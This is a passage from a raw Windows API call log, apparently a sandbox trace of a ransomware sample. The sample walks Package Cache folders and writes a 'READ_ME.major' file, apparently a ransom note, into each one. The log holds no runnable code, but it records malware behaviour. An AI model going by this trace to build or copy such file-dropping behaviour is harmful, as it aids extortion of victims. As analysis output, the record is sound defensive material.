(dwErrCode=0x12) [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x654160 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654160 | out: hHeap=0x570000) returned 1 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.742] FindNextFileW (in: hFindFile=0x654620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.742] GetLastError () returned 0x12 [0164.742] SetLastError (dwErrCode=0x12) [0164.742] GetLastError () returned 0x12 [0164.742] SetLastError (dwErrCode=0x12) [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0164.742] GetLastError () returned 0x12 [0164.742] SetLastError (dwErrCode=0x12) [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0164.742] FindNextFileW (in: hFindFile=0x654620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0164.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0164.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.743] GetLastError () returned 0x12 [0164.743] SetLastError (dwErrCode=0x12) [0164.743] GetLastError () returned 0x12 [0164.743] SetLastError (dwErrCode=0x12) [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0164.743] GetLastError () returned 0x12 [0164.743] SetLastError (dwErrCode=0x12) [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0164.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x58e288 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x58e458 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0164.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0164.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0164.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5adef0 [0164.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0164.743] GetLastError () returned 0x12 [0164.743] SetLastError (dwErrCode=0x12) [0164.743] GetLastError () returned 0x12 [0164.743] SetLastError (dwErrCode=0x12) [0164.743] GetLastError () returned 0x12 [0164.744] SetLastError (dwErrCode=0x12) [0164.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x5b85a8 [0164.744] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x70c [0164.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0164.759] WriteFile (in: hFile=0x70c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.761] CloseHandle (hObject=0x70c) returned 1 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e458 | out: hHeap=0x570000) returned 1 [0164.761] FindNextFileW (in: hFindFile=0x654620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0164.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0660 | out: hHeap=0x570000) returned 1 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0164.761] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a04a26e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654320 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0164.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0164.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0164.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0164.761] GetLastError () returned 0x12 [0164.762] SetLastError (dwErrCode=0x12) [0164.762] GetLastError () returned 0x12 [0164.762] SetLastError (dwErrCode=0x12) [0164.762] GetLastError () returned 0x12 [0164.762] SetLastError (dwErrCode=0x12) [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be738 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x654460 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654460 | out: hHeap=0x570000) returned 1 [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.762] FindNextFileW (in: hFindFile=0x654320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a04a26e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0164.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0164.762] GetLastError () returned 0x12 [0164.762] SetLastError (dwErrCode=0x12) [0164.762] GetLastError () returned 0x12 [0164.762] SetLastError (dwErrCode=0x12) [0164.762] GetLastError () returned 0x12 [0164.762] SetLastError (dwErrCode=0x12) [0164.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb58 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6541a0 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6541a0 | out: hHeap=0x570000) returned 1 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.763] FindNextFileW (in: hFindFile=0x654320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a04a26e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1a04a26e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1a04a26e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0164.763] GetLastError () returned 0x12 [0164.763] SetLastError (dwErrCode=0x12) [0164.763] GetLastError () returned 0x12 [0164.763] SetLastError (dwErrCode=0x12) [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0164.763] GetLastError () returned 0x12 [0164.763] SetLastError (dwErrCode=0x12) [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0164.763] FindNextFileW (in: hFindFile=0x654320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0164.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0164.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0164.764] GetLastError () returned 0x12 [0164.764] SetLastError (dwErrCode=0x12) [0164.764] GetLastError () returned 0x12 [0164.764] SetLastError (dwErrCode=0x12) [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0164.764] GetLastError () returned 0x12 [0164.764] SetLastError (dwErrCode=0x12) [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x652560 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6518c8 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0660 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5adef0 [0164.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0660 | out: hHeap=0x570000) returned 1 [0164.764] GetLastError () returned 0x12 [0164.765] SetLastError (dwErrCode=0x12) [0164.765] GetLastError () returned 0x12 [0164.765] SetLastError (dwErrCode=0x12) [0164.765] GetLastError () returned 0x12 [0164.765] SetLastError (dwErrCode=0x12) [0164.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110) returned 0x6551a0 [0164.765] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710 [0164.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6551a0 | out: hHeap=0x570000) returned 1 [0164.771] WriteFile (in: hFile=0x710, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0164.772] CloseHandle (hObject=0x710) returned 1 [0164.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0164.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0164.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0164.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518c8 | out: hHeap=0x570000) returned 1 [0164.772] FindNextFileW (in: hFindFile=0x654320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0164.773] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4e8b2a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654520 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.773] GetLastError () returned 0x12 [0164.773] SetLastError (dwErrCode=0x12) [0164.773] GetLastError () returned 0x12 [0164.773] SetLastError (dwErrCode=0x12) [0164.773] GetLastError () returned 0x12 [0164.773] SetLastError (dwErrCode=0x12) [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0164.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6542e0 [0164.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6542e0 | out: hHeap=0x570000) returned 1 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0164.774] FindNextFileW (in: hFindFile=0x654520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4e8b2a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0164.774] GetLastError () returned 0x12 [0164.774] SetLastError (dwErrCode=0x12) [0164.774] GetLastError () returned 0x12 [0164.774] SetLastError (dwErrCode=0x12) [0164.774] GetLastError () returned 0x12 [0164.774] SetLastError (dwErrCode=0x12) [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0164.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x654720 [0164.774] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654720 